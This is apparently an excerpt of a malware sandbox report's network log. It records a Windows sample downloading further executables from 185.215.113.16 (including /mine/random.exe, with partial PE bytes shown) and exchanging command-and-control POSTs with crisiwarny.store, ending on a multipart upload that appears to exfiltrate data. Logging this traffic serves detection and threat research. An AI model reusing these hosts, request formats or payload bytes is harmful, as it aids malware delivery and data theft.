Oct 27, 2024 20:15:27.366563082 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 27 Oct 2024 19:15:27 GMT Content-Type: application/octet-stream Content-Length: 2815488 Last-Modified: Sun, 27 Oct 2024 18:53:32 GMT Connection: keep-alive ETag: "671e8c2c-2af600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 83 8b 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ ++`Ui` @ @.rsrc`2@.idata 8@xefzgxds*:@hdhcczpq @+@.taggant@`+"*@
Oct 27, 2024 20:15:27.366597891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 20:15:27.366612911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 20:15:27.366628885 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 20:15:27.366651058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 20:15:27.366664886 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 20:15:27.366688967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 20:15:27.366705894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 20:15:27.366720915 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 20:15:27.366736889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2d f2 bc ed c4 09 02 ca ff Data Ascii: -jNm8._g@:^E:OmZ4X+9~&%DF~(=3c3{'aN2a*
Oct 27, 2024 20:15:27.372014999 CET	1236	IN	Data Raw: 63 6d 7e 33 64 f6 da e2 9e f3 44 09 96 0e f9 c8 94 dc 12 05 92 c1 de 83 bd cb df 1c f5 d3 6a 5d ac 02 40 6f 0a 44 e0 82 aa 22 df 10 c5 0b f6 6b 10 1b 2a 8b b8 f8 25 09 9a 20 5b 61 54 cf e6 b8 8c 91 b4 47 24 66 88 bf ee 8a 1f 1d f9 9d fb 58 ce 94 Data Ascii: cm~3dDj]@oD"k% [aTG$fX\g)pq&9`Q@VQ\3i@P _hF@&oUP(+3E:S5?[EfVfn'%acYbB#v0
Oct 27, 2024 20:15:33.411278963 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 27, 2024 20:15:33.689254045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 27 Oct 2024 19:15:33 GMT Content-Type: application/octet-stream Content-Length: 1912832 Last-Modified: Sun, 27 Oct 2024 18:56:16 GMT Connection: keep-alive ETag: "671e8cd0-1d3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 c0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K<@WkKK @.rsrc@.idata @ *@imndakpo 1@onppzkevK@.taggant0K"@

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.95.91	443	4292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 19:15:13 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-27 19:15:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-27 19:15:14 UTC	1007	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 19:15:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lm5sg604r7e39vr6efcaimu51v; expires=Thu, 20 Feb 2025 13:01:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4%2FuezFKTf6pOSB5YqL3BcOwHHFRsvkYlzz9gkDxYUR9Xc5nLSI%2BvaHLTEAhcFAp%2FdGNSEzzjZZEbErMlRckJxyHiGi7ztPvmmTJDegTLZCSVVOVLhjRjaAGJqEa5WbJKTjvn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9503799dd9e5a9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1101&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=907&delivery_rate=2606660&cwnd=240&unsent_bytes=0&cid=511e9a387ecf25c4&ts=580&x=0"
2024-10-27 19:15:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-27 19:15:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.95.91	443	4292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 19:15:15 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-27 19:15:15 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-27 19:15:15 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 19:15:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7nc3jj4in323uc96du0k9tmd1l; expires=Thu, 20 Feb 2025 13:01:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=soZCKYOgwoLkogo8PvPYxF1Agw4O81tzKsMWO%2BBeD7r8AqMe1vREa60ufbPLlGSLUEUytlMO6%2Flgf%2FeI%2BlHJTQXl1%2FA61oGqKm0fWIP9A5A8RcqyiNzgnFq6aRFakhqXmfBg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d950383d97b46c8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1366&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=952&delivery_rate=2106181&cwnd=251&unsent_bytes=0&cid=66262b87f9c20490&ts=531&x=0"
2024-10-27 19:15:15 UTC	358	IN	Data Raw: 34 34 36 63 0d 0a 52 6f 33 41 51 70 6b 64 48 70 31 5a 61 36 65 64 71 4f 54 49 6a 4f 2f 31 34 76 57 4e 78 59 58 57 69 55 67 49 59 52 6d 72 70 6d 67 39 72 37 5a 67 6f 79 6b 79 76 79 6f 4f 68 61 66 63 6c 72 33 70 77 39 65 44 6b 61 2f 2f 34 37 66 6c 4f 32 31 4e 4f 39 33 4c 53 6e 7a 72 6f 53 37 71 65 44 4b 2f 50 42 4f 46 70 2f 4f 66 36 75 6d 42 31 39 6a 58 36 4b 2f 6e 74 2b 55 71 61 51 70 32 32 38 6f 4c 4c 75 47 6e 4b 76 78 2b 65 76 77 31 42 73 4c 34 7a 59 57 69 34 6f 61 59 69 70 69 76 36 61 65 7a 38 32 6f 79 51 31 54 4f 30 67 6b 4c 37 4c 4d 70 75 32 41 79 35 6e 73 4f 79 62 2b 53 78 71 6e 70 6a 5a 6d 45 6b 65 61 74 37 62 37 74 4b 32 77 4c 61 63 4c 41 41 43 37 76 70 43 76 32 64 32 37 78 50 77 48 4a 2f 73 65 46 36 71 44 4e 6b 4a 6a 58 74 2b 65 30 68 75 67 37 65 Data Ascii: 446cRo3AQpkdHp1Za6edqOTIjO/14vWNxYXWiUgIYRmrpmg9r7ZgoykyvyoOhafclr3pw9eDka//47flO21NO93LSnzroS7qeDK/PBOFp/Of6umB19jX6K/nt+UqaQp228oLLuGnKvx+evw1BsL4zYWi4oaYipiv6aez82oyQ1TO0gkL7LMpu2Ay5nsOyb+SxqnpjZmEkeat7b7tK2wLacLAAC7vpCv2d27xPwHJ/seF6qDNkJjXt+e0hug7e
2024-10-27 19:15:15 UTC	1369	IN	Data Raw: 4d 77 4c 4f 2b 74 69 4e 6f 2b 4f 41 6c 34 32 64 34 4b 54 6e 73 2b 45 67 5a 51 6c 2f 78 4d 6b 4d 4a 4f 2f 69 62 72 74 34 5a 4c 39 6a 53 65 62 36 32 6f 47 6d 2b 4d 2b 74 77 49 69 68 76 71 65 7a 35 32 6f 79 51 33 50 4d 78 77 6b 76 34 4b 45 6f 38 47 31 38 37 54 30 45 77 4f 33 4d 67 36 54 6b 6a 6f 57 4b 6d 65 6d 6b 37 72 2f 69 4c 32 30 48 4f 34 65 45 44 54 79 76 2b 6d 44 61 63 6e 66 7a 4d 52 37 46 76 39 58 49 73 36 36 4b 6d 38 44 50 72 36 50 6d 73 4f 6f 75 5a 41 31 2f 78 63 49 45 4b 65 43 6b 4b 76 74 34 64 76 63 7a 43 4d 6a 30 78 59 61 76 34 34 6d 52 6a 4a 62 71 35 36 6e 30 37 44 49 71 57 7a 76 6e 77 77 6b 32 72 5a 63 6a 39 58 46 37 36 58 73 57 69 2b 61 4b 67 61 61 75 31 64 65 4f 6b 75 43 31 35 71 62 75 4a 48 67 50 66 73 2f 4a 43 53 72 76 70 79 66 32 63 58 72 Data Ascii: MwLO+tiNo+OAl42d4KTns+EgZQl/xMkMJO/ibrt4ZL9jSeb62oGm+M+twIihvqez52oyQ3PMxwkv4KEo8G187T0EwO3Mg6TkjoWKmemk7r/iL20HO4eEDTyv+mDacnfzMR7Fv9XIs66Km8DPr6PmsOouZA1/xcIEKeCkKvt4dvczCMj0xYav44mRjJbq56n07DIqWzvnwwk2rZcj9XF76XsWi+aKgaau1deOkuC15qbuJHgPfs/JCSrvpyf2cXr
2024-10-27 19:15:15 UTC	1369	IN	Data Raw: 2b 61 4b 67 61 61 75 31 64 65 4d 6e 75 2b 73 37 62 44 72 4c 57 63 47 65 4d 37 48 42 79 50 6c 72 43 66 2f 63 33 58 79 50 51 6e 43 2b 38 2b 55 72 2b 65 42 6d 38 44 5a 72 36 44 2f 39 4c 4e 71 52 51 52 74 79 75 73 4a 4e 65 62 69 50 37 56 6d 50 50 67 33 53 5a 32 2f 7a 59 4f 69 35 59 75 66 67 49 58 71 71 65 79 31 34 53 78 72 44 6e 66 50 78 41 73 6b 36 61 34 67 2f 48 68 75 37 54 34 50 31 2f 57 4b 79 4f 72 70 6c 64 66 59 31 39 6d 33 38 4b 58 39 61 46 38 41 64 63 66 44 48 47 54 77 37 44 6d 37 65 48 43 2f 59 30 6e 4f 2f 38 61 42 6f 75 69 4a 6e 34 2b 59 35 72 58 6d 75 4f 55 34 62 51 4e 79 78 38 73 47 4c 65 4b 6c 4c 66 42 31 63 66 73 38 43 49 57 78 69 6f 47 79 72 74 58 58 74 6f 66 69 71 38 6d 2f 35 79 4d 71 48 44 58 51 68 41 30 6f 72 2f 70 67 2f 33 4e 30 39 54 51 41 Data Ascii: +aKgaau1deMnu+s7bDrLWcGeM7HByPlrCf/c3XyPQnC+8+Ur+eBm8DZr6D/9LNqRQRtyusJNebiP7VmPPg3SZ2/zYOi5YufgIXqqey14SxrDnfPxAsk6a4g/Hhu7T4P1/WKyOrpldfY19m38KX9aF8AdcfDHGTw7Dm7eHC/Y0nO/8aBouiJn4+Y5rXmuOU4bQNyx8sGLeKlLfB1cfs8CIWxioGyrtXXtofiq8m/5yMqHDXQhA0or/pg/3N09TQA
2024-10-27 19:15:15 UTC	1369	IN	Data Raw: 47 75 36 49 4c 58 7a 74 66 6f 76 36 66 73 71 77 56 4e 4e 6a 6e 6f 2f 6b 6f 37 6f 62 74 67 2f 48 4d 38 70 33 73 46 78 76 50 43 69 61 7a 6e 67 5a 32 4a 6e 4f 4f 73 34 37 6a 69 4c 32 77 43 66 73 7a 46 44 69 6a 6c 70 43 50 34 63 48 50 77 4d 30 6d 4c 76 38 32 65 36 72 62 4e 73 70 65 63 34 61 47 6e 71 36 55 7a 4b 67 52 33 69 5a 78 4b 4b 4f 61 6b 4a 76 35 7a 66 66 6b 7a 44 4d 33 37 79 34 43 73 37 59 4b 54 68 5a 62 67 6f 2b 75 36 34 53 74 72 44 33 44 47 7a 77 39 6b 6f 65 49 6e 34 7a 38 6b 76 77 6f 4b 30 2b 6a 61 69 75 72 78 77 34 37 41 6b 4f 50 6e 76 2f 54 71 4f 47 41 4a 64 63 7a 4c 44 79 66 67 70 53 33 39 63 33 62 32 4d 77 2f 4b 39 74 69 46 70 75 43 4b 6d 59 79 5a 34 71 33 6b 75 61 74 6b 4b 67 52 6a 69 5a 78 4b 43 4f 69 76 44 76 42 7a 65 37 38 6b 52 39 79 2f 7a Data Ascii: Gu6ILXztfov6fsqwVNNjno/ko7obtg/HM8p3sFxvPCiazngZ2JnOOs47jiL2wCfszFDijlpCP4cHPwM0mLv82e6rbNspec4aGnq6UzKgR3iZxKKOakJv5zffkzDM37y4Cs7YKThZbgo+u64StrD3DGzw9koeIn4z8kvwoK0+jaiurxw47AkOPnv/TqOGAJdczLDyfgpS39c3b2Mw/K9tiFpuCKmYyZ4q3kuatkKgRjiZxKCOivDvBze78kR9y/z
2024-10-27 19:15:15 UTC	1369	IN	Data Raw: 4e 7a 38 43 68 36 4c 66 33 74 36 6b 62 66 41 42 74 77 73 6b 47 5a 50 44 73 4f 62 74 34 63 4c 39 6a 53 63 50 77 77 34 57 6c 37 34 53 62 6a 5a 4c 6d 6f 75 61 79 37 79 42 67 41 33 33 50 78 51 38 75 37 4b 4d 71 38 6e 68 30 2b 44 67 62 68 62 47 4b 67 62 4b 75 31 64 65 70 6b 50 32 70 39 2f 54 30 5a 48 4e 44 66 4d 57 45 55 6d 54 72 71 43 2f 2f 65 48 44 35 50 67 2f 49 2f 73 57 48 71 75 47 4a 6e 49 6d 52 37 71 72 69 75 65 38 34 59 41 68 30 78 63 30 47 4b 61 2f 73 59 50 78 6e 50 4b 64 37 4f 4d 6a 78 78 49 47 38 72 70 4c 5a 6d 64 66 6f 71 36 66 73 71 79 74 6d 44 48 6a 47 78 77 6b 6c 35 62 41 79 39 33 5a 30 2b 6a 63 43 79 2f 6e 59 67 4b 58 6e 6a 70 53 4a 6b 4f 65 72 37 62 66 73 61 69 52 44 66 4e 47 45 55 6d 54 4d 74 54 44 32 50 32 4f 78 49 6b 6e 43 38 34 72 65 36 75 Data Ascii: Nz8Ch6Lf3t6kbfABtwskGZPDsObt4cL9jScPww4Wl74SbjZLmouay7yBgA33PxQ8u7KMq8nh0+DgbhbGKgbKu1depkP2p9/T0ZHNDfMWEUmTrqC//eHD5Pg/I/sWHquGJnImR7qriue84YAh0xc0GKa/sYPxnPKd7OMjxxIG8rpLZmdfoq6fsqytmDHjGxwkl5bAy93Z0+jcCy/nYgKXnjpSJkOer7bfsaiRDfNGEUmTMtTD2P2OxIknC84re6u
2024-10-27 19:15:15 UTC	1369	IN	Data Raw: 6d 4f 43 75 37 72 44 6a 4b 57 6f 48 66 38 37 42 43 53 6a 6b 70 53 50 30 65 33 58 78 4d 67 61 46 73 59 71 42 73 71 37 56 31 36 47 4d 37 4b 76 71 39 50 52 6b 63 30 4e 38 78 59 52 53 5a 4f 4f 73 4a 66 74 31 65 76 73 2b 44 38 2f 36 79 6f 32 70 34 59 6d 52 68 4a 6a 76 72 4f 36 31 37 53 39 67 43 48 33 45 78 77 77 69 72 2b 78 67 2f 47 63 38 70 33 73 70 33 76 4c 47 67 65 72 78 77 34 37 41 6b 4f 50 6e 76 2f 54 67 4a 6d 34 45 65 38 54 48 41 69 48 72 71 43 58 37 64 32 37 33 4f 77 37 58 37 63 71 50 72 2b 4b 4f 6c 34 53 52 35 71 48 6b 73 4b 74 6b 4b 67 52 6a 69 5a 78 4b 43 65 4f 6c 43 66 78 6b 50 4f 42 31 45 49 58 34 78 73 62 79 72 6f 79 63 69 70 6a 69 70 4f 47 33 34 43 39 67 41 6e 7a 42 79 52 67 6e 34 4b 30 6b 2b 33 42 36 2b 54 6f 47 77 2f 6a 44 68 36 4c 70 7a 64 6e Data Ascii: mOCu7rDjKWoHf87BCSjkpSP0e3XxMgaFsYqBsq7V16GM7Kvq9PRkc0N8xYRSZOOsJft1evs+D8/6yo2p4YmRhJjvrO617S9gCH3Exwwir+xg/Gc8p3sp3vLGgerxw47AkOPnv/TgJm4Ee8THAiHrqCX7d273Ow7X7cqPr+KOl4SR5qHksKtkKgRjiZxKCeOlCfxkPOB1EIX4xsbyroycipjipOG34C9gAnzByRgn4K0k+3B6+ToGw/jDh6Lpzdn
2024-10-27 19:15:15 UTC	1369	IN	Data Raw: 65 32 7a 2b 79 31 39 44 44 75 48 68 41 56 6b 74 35 74 67 38 6e 68 6e 37 69 30 45 31 66 69 4b 75 65 53 75 6c 64 66 59 31 39 71 6b 36 62 72 73 50 48 74 4f 58 4e 2f 4f 44 54 54 6f 74 53 2b 37 4d 54 7a 35 65 31 47 57 73 59 71 43 75 36 37 56 78 39 4c 4d 75 76 53 77 35 4c 6b 31 4a 42 6f 37 33 34 52 53 64 71 48 69 4d 72 73 6e 50 4c 67 34 47 39 66 35 79 5a 43 70 71 62 4f 70 70 34 33 69 6f 66 43 6c 31 52 52 74 47 58 62 50 30 78 74 6f 2b 71 45 75 39 58 68 71 76 33 56 4a 79 72 2b 53 76 2b 71 6d 7a 61 6a 4f 31 2f 66 6e 76 2f 54 65 4b 57 51 4e 66 4e 2f 56 52 77 50 31 72 79 62 73 62 6a 79 78 65 77 2b 46 70 35 72 49 36 75 71 63 31 39 6a 48 76 66 79 79 35 37 78 36 4f 42 77 31 30 49 51 63 5a 4c 66 77 62 72 74 74 50 4b 64 37 54 73 62 74 32 49 43 70 2b 49 37 51 76 71 6e 42 Data Ascii: e2z+y19DDuHhAVkt5tg8nhn7i0E1fiKueSuldfY19qk6brsPHtOXN/ODTTotS+7MTz5e1GWsYqCu67Vx9LMuvSw5Lk1JBo734RSdqHiMrsnPLg4G9f5yZCpqbOpp43iofCl1RRtGXbP0xto+qEu9Xhqv3VJyr+Sv+qmzajO1/fnv/TeKWQNfN/VRwP1rybsbjyxew+Fp5rI6uqc19jHvfyy57x6OBw10IQcZLfwbrttPKd7Tsbt2ICp+I7QvqnB
2024-10-27 19:15:15 UTC	1369	IN	Data Raw: 67 6b 5a 41 52 74 32 49 6b 74 4b 75 69 6a 4e 75 74 6f 63 37 39 31 53 63 4f 2f 6b 74 54 6b 72 6f 6d 47 77 4d 2b 2f 39 62 7a 68 75 48 30 36 55 57 53 48 33 55 6f 79 72 2f 70 79 74 54 39 75 76 32 4e 4a 67 76 7a 59 6c 4b 7a 74 6d 35 54 48 71 64 47 41 36 62 50 71 50 48 6f 55 64 49 62 71 50 41 58 52 6e 44 58 34 63 58 4c 34 4c 52 69 46 73 59 71 4a 36 72 61 30 31 38 6a 58 30 4f 6d 6e 72 4b 74 79 4b 6a 5a 34 78 38 6f 4e 4d 76 37 76 42 2f 56 34 66 65 6b 72 48 73 71 77 35 4c 43 4c 72 73 50 58 68 74 65 33 39 61 6e 30 37 7a 73 71 57 79 75 62 6e 31 39 33 75 50 4a 79 35 44 46 6c 76 79 31 4a 6e 61 32 45 78 72 69 75 31 64 66 48 6c 50 32 31 34 62 66 39 4b 53 30 39 52 65 37 4b 44 53 58 35 73 69 33 33 58 6e 2f 75 4d 54 66 37 36 73 6d 49 70 4f 6d 62 68 73 44 5a 72 36 69 6e 37 Data Ascii: gkZARt2IktKuijNutoc791ScO/ktTkromGwM+/9bzhuH06UWSH3Uoyr/pytT9uv2NJgvzYlKztm5THqdGA6bPqPHoUdIbqPAXRnDX4cXL4LRiFsYqJ6ra018jX0OmnrKtyKjZ4x8oNMv7vB/V4fekrHsqw5LCLrsPXhte39an07zsqWyubn193uPJy5DFlvy1Jna2Exriu1dfHlP214bf9KS09Re7KDSX5si33Xn/uMTf76smIpOmbhsDZr6in7
2024-10-27 19:15:15 UTC	1369	IN	Data Raw: 41 61 38 37 36 4e 41 6e 39 70 54 44 34 50 56 44 34 4e 67 58 37 77 66 32 58 72 66 37 50 73 59 4f 42 37 4f 65 70 39 50 4e 71 4d 6b 4e 57 32 38 4d 61 4a 36 32 4f 4a 2f 5a 7a 50 4f 42 31 45 49 58 70 69 74 37 35 6f 4d 32 46 77 4d 2b 76 34 4f 53 6d 2b 53 78 70 46 58 69 4f 2b 6a 51 4a 2f 61 55 77 2b 44 31 4e 38 6a 38 66 30 50 7a 61 67 5a 54 51 6f 49 57 48 68 2b 7a 6c 77 6f 36 70 47 33 77 41 65 38 66 44 53 6d 71 76 75 6d 43 6a 50 31 48 74 50 42 6e 47 76 65 2b 38 36 4e 2b 62 6c 49 43 5a 36 4f 66 34 2b 76 4a 71 66 45 4d 6a 6d 6f 70 4b 4e 71 2f 36 59 4c 78 78 63 66 34 34 42 38 62 74 32 49 43 70 2b 49 37 51 76 71 6e 41 72 4f 61 6b 35 6a 74 6e 42 32 33 33 2b 69 30 69 36 71 55 65 78 55 68 74 2b 43 74 4c 34 2f 7a 63 68 65 71 67 7a 59 2f 41 7a 36 2b 41 34 62 48 73 61 69 Data Ascii: Aa876NAn9pTD4PVD4NgX7wf2Xrf7PsYOB7Oep9PNqMkNW28MaJ62OJ/ZzPOB1EIXpit75oM2FwM+v4OSm+SxpFXiO+jQJ/aUw+D1N8j8f0PzagZTQoIWHh+zlwo6pG3wAe8fDSmqvumCjP1HtPBnGve+86N+blICZ6Of4+vJqfEMjmopKNq/6YLxxcf44B8bt2ICp+I7QvqnArOak5jtnB233+i0i6qUexUht+CtL4/zcheqgzY/Az6+A4bHsai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.95.91	443	4292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 19:15:16 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: crisiwarny.store
